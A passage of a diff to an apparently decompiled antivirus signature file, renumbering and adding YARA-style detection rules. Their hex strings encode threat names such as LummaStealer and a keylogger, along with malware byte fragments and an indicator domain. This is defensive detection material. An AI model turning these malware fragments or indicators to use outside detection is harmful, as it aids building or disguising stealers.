& 1)*25971) >=300 } -rule _InfrastructureShared_7824{ +rule _InfrastructureShared_8278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -82594,7 +87448,7 @@ rule _InfrastructureShared_7824{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*100) >=200 } -rule _InfrastructureShared_7825{ +rule _InfrastructureShared_8279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82604,7 +87458,7 @@ rule _InfrastructureShared_7825{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7826{ +rule _InfrastructureShared_8280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82614,7 +87468,7 @@ rule _InfrastructureShared_7826{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7827{ +rule _InfrastructureShared_8281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82624,7 +87478,7 @@ rule _InfrastructureShared_7827{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7828{ +rule _InfrastructureShared_8282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82634,7 +87488,7 @@ rule _InfrastructureShared_7828{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7829{ +rule _InfrastructureShared_8283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82644,7 +87498,7 @@ rule _InfrastructureShared_7829{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7830{ +rule _InfrastructureShared_8284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82654,7 +87508,7 @@ rule _InfrastructureShared_7830{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7831{ +rule _InfrastructureShared_8285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82664,7 +87518,7 @@ rule _InfrastructureShared_7831{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7832{ +rule _InfrastructureShared_8286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82674,7 +87528,7 @@ rule _InfrastructureShared_7832{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7833{ +rule _InfrastructureShared_8287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82684,7 +87538,7 @@ rule _InfrastructureShared_7833{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7834{ +rule _InfrastructureShared_8288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82694,7 +87548,7 @@ rule _InfrastructureShared_7834{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7835{ +rule _InfrastructureShared_8289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82704,7 +87558,7 @@ rule _InfrastructureShared_7835{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7836{ +rule _InfrastructureShared_8290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82714,7 +87568,7 @@ rule _InfrastructureShared_7836{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7837{ +rule _InfrastructureShared_8291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82724,7 +87578,7 @@ rule _InfrastructureShared_7837{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7838{ +rule _InfrastructureShared_8292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82734,7 +87588,7 @@ rule _InfrastructureShared_7838{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7839{ +rule _InfrastructureShared_8293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82744,7 +87598,7 @@ rule _InfrastructureShared_7839{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7840{ +rule _InfrastructureShared_8294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82754,7 +87608,7 @@ rule _InfrastructureShared_7840{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7841{ +rule _InfrastructureShared_8295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82764,7 +87618,7 @@ rule _InfrastructureShared_7841{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7842{ +rule _InfrastructureShared_8296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -82774,7 +87628,17 @@ rule _InfrastructureShared_7842{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7843{ +rule _InfrastructureShared_8297{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 21 4d 54 42 00 01 00 48 03 0f b6 c1 8a 84 04 90 01 04 48 63 4c 24 90 01 01 48 8b 54 24 90 01 01 30 04 0a 8b 44 24 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82784,7 +87648,7 @@ rule _InfrastructureShared_7843{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7844{ +rule _InfrastructureShared_8299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82795,7 +87659,7 @@ rule _InfrastructureShared_7844{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*17524) >=1 } -rule _InfrastructureShared_7845{ +rule _InfrastructureShared_8300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82806,7 +87670,7 @@ rule _InfrastructureShared_7845{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*28482) >=1 } -rule _InfrastructureShared_7846{ +rule _InfrastructureShared_8301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82817,7 +87681,7 @@ rule _InfrastructureShared_7846{ ((#a_6b_0 & 1)*17955+(#a_46_1 & 1)*31956) >=1 } -rule _InfrastructureShared_7847{ +rule _InfrastructureShared_8302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82827,7 +87691,7 @@ rule _InfrastructureShared_7847{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7848{ +rule _InfrastructureShared_8303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82837,7 +87701,7 @@ rule _InfrastructureShared_7848{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7849{ +rule _InfrastructureShared_8304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -82848,7 +87712,7 @@ rule _InfrastructureShared_7849{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0) >=1 } -rule _InfrastructureShared_7850{ +rule _InfrastructureShared_8305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -82860,19 +87724,29 @@ rule _InfrastructureShared_7850{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26991+(#a_5c_2 & 1)*3840) >=1 } -rule _InfrastructureShared_7851{ +rule _InfrastructureShared_8306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 19 01 77 65 62 73 61 66 65 5c 57 65 62 53 61 66 65 50 6c 75 67 69 6e 2e 70 64 62 01 00 0f 01 5c 44 61 74 61 4d 6e 67 72 55 49 2e 70 64 62 01 00 0f 01 5c 53 68 6f 70 70 65 72 50 72 6f 2e 70 64 62 01 00 11 01 54 6f 6f 6c 73 3a 3a 49 45 54 6f 6f 6c 73 3a 3a 60 00 00 } //25635 - $a_00_2 = {02 00 } //2 - $a_4c_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 52 54 41 21 4d 54 42 00 01 00 12 03 8b 03 25 ff ff 00 00 50 56 e8 90 01 04 8b f8 eb 90 00 01 00 33 03 8b 03 03 05 90 01 } //8993 + $a_00_2 = {01 00 } //2 + $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 48 48 4c 21 4d 54 42 00 02 00 4b 01 00 03 11 04 91 1f 14 2e 24 03 11 04 91 1f 15 2e 1c 03 11 04 91 18 2e 15 03 11 04 91 1f 0a 2e 0d 03 11 04 91 1f 1b fe 01 16 fe 01 2b 01 16 00 13 06 } //8993 condition: - ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*2+(#a_4c_3 & 1)*8993) >=1 + ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*2+(#a_45_3 & 1)*8993) >=1 } -rule _InfrastructureShared_7852{ +rule _InfrastructureShared_8307{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 45 48 48 4c 21 4d 54 42 00 02 00 4b 01 00 03 11 04 91 1f 14 2e 24 03 11 04 91 1f 15 2e 1c 03 11 04 91 18 2e 15 03 11 04 91 1f 0a 2e 0d 03 11 04 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82883,7 +87757,7 @@ rule _InfrastructureShared_7852{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*22096) >=2 } -rule _InfrastructureShared_7853{ +rule _InfrastructureShared_8309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82894,7 +87768,7 @@ rule _InfrastructureShared_7853{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_7854{ +rule _InfrastructureShared_8310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82905,7 +87779,7 @@ rule _InfrastructureShared_7854{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25441) >=2 } -rule _InfrastructureShared_7855{ +rule _InfrastructureShared_8311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82916,7 +87790,7 @@ rule _InfrastructureShared_7855{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*4127) >=2 } -rule _InfrastructureShared_7856{ +rule _InfrastructureShared_8312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82927,7 +87801,7 @@ rule _InfrastructureShared_7856{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5632) >=2 } -rule _InfrastructureShared_7857{ +rule _InfrastructureShared_8313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82938,7 +87812,7 @@ rule _InfrastructureShared_7857{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*24889) >=2 } -rule _InfrastructureShared_7858{ +rule _InfrastructureShared_8314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82949,7 +87823,7 @@ rule _InfrastructureShared_7858{ ((#a_54_0 & 1)*18467+(#a_bd_1 & 1)*16836) >=2 } -rule _InfrastructureShared_7859{ +rule _InfrastructureShared_8315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82960,7 +87834,7 @@ rule _InfrastructureShared_7859{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28439) >=2 } -rule _InfrastructureShared_7860{ +rule _InfrastructureShared_8316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82971,7 +87845,7 @@ rule _InfrastructureShared_7860{ ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*23610) >=2 } -rule _InfrastructureShared_7861{ +rule _InfrastructureShared_8317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82983,7 +87857,7 @@ rule _InfrastructureShared_7861{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*31841+(#a_01_2 & 1)*3529) >=2 } -rule _InfrastructureShared_7862{ +rule _InfrastructureShared_8318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82994,7 +87868,7 @@ rule _InfrastructureShared_7862{ ((#a_54_0 & 1)*18467+(#a_16_2 & 1)*40) >=2 } -rule _InfrastructureShared_7863{ +rule _InfrastructureShared_8319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -83007,21 +87881,30 @@ rule _InfrastructureShared_7863{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_7b_3 & 1)*0) >=2 } -rule _InfrastructureShared_7864{ +rule _InfrastructureShared_8320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 34 00 01 00 12 01 47 6c 6f 62 61 6c 4b 65 79 62 6f 61 72 64 48 6f 6f 6b 01 00 04 01 4b 44 65 6c 01 00 0a 01 43 72 65 61 74 65 48 6f 6f 6b 01 00 0c 01 4b 65 79 53 74 72 75 63 } //18467 - $a_65_1 = {00 12 01 6b 65 79 42 6f 61 72 64 48 6f 6f 6b 53 74 72 75 63 74 00 00 78 7b 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 48 4e 55 21 4d 54 42 00 02 00 2e 01 55 04 0a 0c 0f 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 6e 67 31 18 30 16 06 03 55 04 03 0c 0f 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 } //30068 - $a_00_2 = {1c } //26478 - $a_3f_3 = {6c 6c 75 00 46 61 69 6c 65 64 20 74 6f 20 66 6f 72 6d 61 74 20 50 59 5a 00 00 78 7b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 31 36 2d 30 30 35 31 2e 42 00 01 00 12 01 57 4e 65 74 41 64 64 43 6f } //9473 - $a_63_4 = {69 6f 6e 32 01 00 1b 01 44 75 70 6c 69 63 61 74 65 45 6e 63 72 79 70 74 69 6f 6e 49 6e 66 6f 46 69 6c 65 01 00 16 00 5c 00 5c 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 78 7b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 79 68 69 } //28270 + $a_65_1 = {00 12 01 6b 65 79 42 6f 61 72 64 48 6f 6f 6b 53 74 72 75 63 74 00 00 78 7b 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 41 43 4c 4d 21 4d 54 42 00 02 00 2a 01 89 cf 09 f7 f7 d6 09 d6 21 fe 89 74 24 1c 8b 5c 24 1c 89 de 81 f6 c4 00 00 00 83 e3 3b 01 db 29 f3 88 9c 0c bc 1b 8e 01 41 } //30068 + $a_d7_3 = {d7 09 f7 21 d6 8d 2c 36 f7 d5 01 f5 21 fd 89 6c 24 08 8b 44 24 08 04 c6 00 00 78 7b 00 00 03 00 03 } //-8311 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30068+(#a_00_2 & 1)*26478+(#a_3f_3 & 1)*9473+(#a_63_4 & 1)*28270) >=2 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30068+(#a_d7_3 & 1)*-8311) >=2 } -rule _InfrastructureShared_7865{ +rule _InfrastructureShared_8321{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 41 43 4c 4d 21 4d 54 42 00 02 00 2a 01 89 cf 09 f7 f7 d6 09 d6 21 fe 89 74 24 1c 8b 5c 24 1c 89 de 81 f6 c4 00 00 00 83 e3 3b 01 db 29 f3 88 9c 0c bc 1b 8e 01 41 4a 01 00 1d 01 89 df 21 } //18467 + $a_09_1 = {f7 21 d6 8d 2c 36 f7 d5 01 f5 21 fd 89 6c 24 08 8b 44 24 08 04 c6 00 00 78 7b 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 48 4e 55 21 4d 54 42 00 02 00 2e 01 55 04 0a 0c 0f 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 6e 67 31 18 30 16 06 03 55 04 03 0c 0f 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 6e 67 01 00 1c 01 25 55 3f 25 6c 6c 75 00 46 61 69 6c 65 64 20 74 6f 20 66 6f 72 6d 61 74 20 50 59 5a 00 00 78 7b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 31 36 2d 30 30 35 31 2e 42 00 01 00 12 01 57 4e 65 74 41 64 64 43 6f 6e 6e 65 63 74 } //471 + condition: + ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*471) >=3 + +} +rule _InfrastructureShared_8322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -83032,7 +87915,7 @@ rule _InfrastructureShared_7865{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*9535) >=3 } -rule _InfrastructureShared_7866{ +rule _InfrastructureShared_8323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83044,7 +87927,7 @@ rule _InfrastructureShared_7866{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*26222+(#a_6c_2 & 1)*23660) >=3 } -rule _InfrastructureShared_7867{ +rule _InfrastructureShared_8324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83056,7 +87939,7 @@ rule _InfrastructureShared_7867{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28257+(#a_69_2 & 1)*385) >=3 } -rule _InfrastructureShared_7868{ +rule _InfrastructureShared_8325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83068,7 +87951,7 @@ rule _InfrastructureShared_7868{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27760+(#a_8b_2 & 1)*-1) >=3 } -rule _InfrastructureShared_7869{ +rule _InfrastructureShared_8326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83080,7 +87963,7 @@ rule _InfrastructureShared_7869{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_7870{ +rule _InfrastructureShared_8327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83092,7 +87975,7 @@ rule _InfrastructureShared_7870{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_7b_2 & 1)*0) >=3 } -rule _InfrastructureShared_7871{ +rule _InfrastructureShared_8328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83104,7 +87987,7 @@ rule _InfrastructureShared_7871{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*21852+(#a_01_2 & 1)*9216) >=3 } -rule _InfrastructureShared_7872{ +rule _InfrastructureShared_8329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83116,7 +87999,7 @@ rule _InfrastructureShared_7872{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28783+(#a_6d_2 & 1)*24954) >=3 } -rule _InfrastructureShared_7873{ +rule _InfrastructureShared_8330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83128,7 +88011,7 @@ rule _InfrastructureShared_7873{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25953+(#a_55_2 & 1)*274) >=3 } -rule _InfrastructureShared_7874{ +rule _InfrastructureShared_8331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83139,7 +88022,7 @@ rule _InfrastructureShared_7874{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_7875{ +rule _InfrastructureShared_8332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83151,7 +88034,7 @@ rule _InfrastructureShared_7875{ ((#a_4c_0 & 1)*21539+(#a_0b_1 & 1)*-7743+(#a_c1_2 & 1)*-18929) >=3 } -rule _InfrastructureShared_7876{ +rule _InfrastructureShared_8333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -83159,38 +88042,38 @@ rule _InfrastructureShared_7876{ $a_46_0 = {59 32 56 3a 4e 43 53 43 2f 5a 5f 57 65 62 53 68 65 6c 6c 00 01 00 0c 81 01 5a 5f 50 6f 73 74 42 61 63 6b 4a 53 01 00 0f 81 01 7a 5f 66 69 6c 65 5f 64 6f 77 6e 6c 6f 61 64 01 00 0a 81 01 7a 5f 57 65 62 53 68 65 6c 6c 01 00 20 81 } //16675 $a_36_1 = {39 34 38 63 37 38 35 39 64 36 35 33 33 32 32 36 30 34 32 35 34 39 32 32 38 32 32 38 00 00 78 7b 00 00 03 00 03 00 05 00 21 23 64 6f 5f 64 65 65 70 5f 72 } //12545 $a_61_2 = {00 02 00 0a 01 8d 18 43 81 3b 72 73 72 63 74 01 00 0f 01 66 c7 45 fc 63 74 c6 45 fe 00 60 8d 45 ec 50 01 00 0e 01 c7 45 f0 56 69 72 74 c7 45 f4 75 61 6c 41 01 00 14 01 55 89 e5 83 ec 20 c7 45 e0 56 69 72 74 c7 45 e4 75 61 6c 41 01 00 13 01 c7 45 fc 00 00 00 00 60 8b 75 08 03 76 3c 0f b7 56 06 4a } //29541 - $a_7b_3 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 75 74 6f 6e 61 2e 43 21 64 68 61 00 01 00 0e 01 5c 5c 2e 5c 70 69 70 65 5c 6d 61 67 69 63 01 00 0d 01 5c 5c 2e 5c 70 69 70 65 5c 31 2e 25 73 01 00 11 03 6a 04 8d 4d f0 e8 90 02 10 6a 04 8d 4d f0 e8 90 00 01 00 17 01 33 c9 89 4d d8 89 4d dc 89 4d e0 66 c7 45 e4 00 01 89 4d f8 3c } //1 + $a_7b_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 2f 61 75 74 6f 72 75 6e 01 00 1b 81 01 74 70 3a 2f 2f 73 68 72 65 64 64 65 72 2e 39 31 74 6f 6f 6c 62 6f 78 2e 63 6f 6d 01 00 0f 81 01 5c 52 65 67 69 73 74 72 79 5c 55 73 65 72 5c 01 00 0d 81 01 55 6c 74 72 61 53 68 72 65 64 64 } //1 condition: ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*12545+(#a_61_2 & 1)*29541+(#a_7b_3 & 1)*1) >=3 } -rule _InfrastructureShared_7877{ +rule _InfrastructureShared_8334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 02 00 0a 01 8d 18 43 81 3b 72 73 72 63 74 01 00 0f 01 66 c7 45 fc 63 74 c6 45 fe 00 60 8d 45 ec 50 01 00 0e 01 c7 45 f0 56 69 72 74 c7 45 f4 75 61 6c 41 01 00 14 01 55 89 e5 83 ec 20 c7 45 e0 56 69 72 74 c7 45 e4 75 61 6c 41 01 00 13 01 c7 45 fc 00 00 00 00 60 8b 75 08 03 76 3c 0f b7 56 06 4a 01 00 } //25635 $a_00_2 = {04 00 21 23 } //4 - $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 75 74 6f 6e 61 2e 43 21 64 68 61 00 01 00 0e 01 5c 5c 2e 5c 70 69 70 65 5c 6d 61 67 69 63 01 00 0d 01 5c 5c 2e 5c 70 69 70 65 5c 31 2e 25 73 01 00 11 03 6a 04 8d 4d f0 e8 } //19521 - $a_6a_4 = {8d 4d f0 e8 90 00 01 00 17 01 33 c9 89 4d d8 89 } //656 + $a_52_3 = {50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 2f 61 75 74 6f 72 75 6e 01 00 1b 81 01 74 70 3a 2f 2f 73 68 72 65 64 64 65 72 2e 39 31 74 6f 6f 6c 62 6f 78 2e 63 6f 6d 01 00 0f 81 01 5c 52 65 67 69 73 74 72 79 } //21320 + $a_65_4 = {5c 01 00 0d 81 01 55 6c 74 72 61 53 68 72 65 64 64 65 72 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 61 7a 32 38 30 34 21 45 4d 4c 00 01 00 06 01 66 6d 74 78 62 36 01 00 0f 01 78 42 2e 68 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 0f 01 78 42 2e 53 66 2e 72 65 73 6f 75 72 63 } //21852 condition: - ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*19521+(#a_6a_4 & 1)*656) >=3 + ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320+(#a_65_4 & 1)*21852) >=3 } -rule _InfrastructureShared_7878{ +rule _InfrastructureShared_8335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 75 74 6f 6e 61 2e 43 21 64 68 61 00 01 00 0e 01 5c 5c 2e 5c 70 69 70 65 5c 6d 61 67 69 63 01 00 0d 01 5c 5c 2e 5c 70 69 70 65 5c 31 2e 25 73 01 00 11 03 6a 04 8d 4d f0 e8 90 02 10 6a 04 } //16675 - $a_e8_1 = {00 01 00 17 01 33 c9 89 4d d8 89 4d dc 89 4d e0 66 c7 45 e4 00 01 89 4d f8 3c 5a 75 00 00 78 7b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 61 7a 32 38 30 34 21 45 4d 4c 00 01 00 06 01 66 6d 74 78 62 36 01 00 0f 01 78 42 2e 68 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 0f 01 78 42 2e 53 66 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 43 72 79 70 74 6f 53 74 72 65 61 6d 